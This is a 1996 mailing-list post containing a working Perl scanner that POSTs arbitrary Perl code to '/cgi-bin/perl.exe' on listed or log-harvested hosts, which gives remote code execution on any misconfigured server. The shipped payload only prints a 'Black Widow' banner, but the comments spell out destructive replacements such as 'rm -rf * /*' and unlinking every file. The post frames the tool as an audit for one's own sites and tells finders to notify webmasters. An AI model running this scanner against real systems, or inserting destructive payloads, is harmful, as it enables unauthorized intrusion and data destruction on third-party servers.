Does this merit a CERT advisory? :-)

Tom Christiansen (tchrist@mox.perl.com)
Thu, 28 Mar 1996 17:36:13 -0700


#!/usr/bin/perl -w

=head1 NAME

latrodectus cyberneticus - probe web for insecure perl installations

=head1 SYNOPSIS

Via command line arguments:

    latro host1 //host2/bincgi //host3/bincgi/badperl

or via STDIN:

    sed 's/ .*//' access_log | sort -u | latro

=head1 DESCRIPTION

The following program is useful to test whether your site, or
sites you control, have been compromised by the insanely idiotic
practice of playing a perl executable in the cgi-bin.
If you ever seen anyone post a URL like

    http://dummy.org/cgi-bin/perl.exe?FMH.pl

then you know they have the problem.  This is pathetically
pervasive amongst (horrifically mismanaged) non-Unix web sites.

=head1 USE AND MISUSE

You can do very evil things with this program.  Very evil things.  You can
execute I<ANY PERL CODE YOU WANT> on their site.  Please don't do anything
(too) wicked.  When you find such sites, do the responsible and professional
thing and mail their cluefully challenged webmaster of the problem.

=head1 AUTHOR

Tom Christiansen <tchrist@perl.com>

Last update:
Thu Mar 28 17:07:03 MST 1996

=cut

use strict;

my $PROGNAME = "latrodectus cyberneticus";
my $VERSION = "1.0";

my $DEF_CGI_BIN   = "/cgi-bin";
my $DEF_PERL_PATH = "/perl.exe";
my $PROGRAM = join qq===><DATA>;

require LWP::UserAgent;

$| = 1;

if (@ARGV) {
    for (@ARGV) { probe($_) } 
} elsif (!-t STDIN) {
    while (<STDIN>) {
	chomp;
	probe($_);
    } 
} else {
    die "usage: $0 [site ...]\n";
} 

sub probe {
    my $site = shift;

    my $cgi_bin = '';
    my $perl_path = '';
    my $pre_site = '';

    if ($site !~ m#/#) {
	$cgi_bin = $DEF_CGI_BIN;
    } 
    if ($site !~ /perl/) {
	$perl_path = $DEF_PERL_PATH;
    } 
    if ($site !~ m#^//#) {
	$pre_site = '//';
    } 

    my $ua  = LWP::UserAgent->new();
    $ua->agent("$PROGNAME, v$VERSION");

    my $full_targ = 'http:' . $pre_site . $site . $cgi_bin . $perl_path;

    printf "%-35s ", $site;

    my $req = HTTP::Request->new( POST => $full_targ );

    $req->content_type('application/x-www-form-urlencoded');
    $req->content($PROGRAM);
    my $res = $ua->request($req);

    # check the outcome
    if ($res->is_success) { 
	if ($res->content =~ /WWW Black Widow/) {
	    print "<<<< COMPROMISED >>>\n";
	} else {
	    my $oops = $res->content;
	    $oops =~ s/\n/ /g;
	    print "APPREHENDED: $oops\n";
	} 
    } else {
	my $oops = $res->code .  " " .  $res->message;
	if ($res->code == 404) {
	    print "SAFE:  $oops";
	} else {
	    print "ERROR: $oops";
	} 
	print "\n" unless $oops =~ /\n$/;
    }

} 

__END__

# Here begins the remote program.  Whatsoever you place
# within this code shall be executed on the foreign system.
# 
# Play nicely.

print <<EOF;
Content-Type: text/plain

The WWW Black Widow was here.
EOF

# At this point, you may do anything you want.  Things that
# you should never ever even think of starting to think about
# maybe doing, because they are evil and wrong, are the following:
# 
#	system("rm -rf * /*");
#	system("format a:");
# 	system("ls -lR");
# 	system("dir");
# 	
# or if system is a problem do it yourself
#
#	unlink <* *.* /*>;

print "If I were nasty, you'd be spiderfood by now.\n";
print "\n\n\t--the black widow\n";

__END__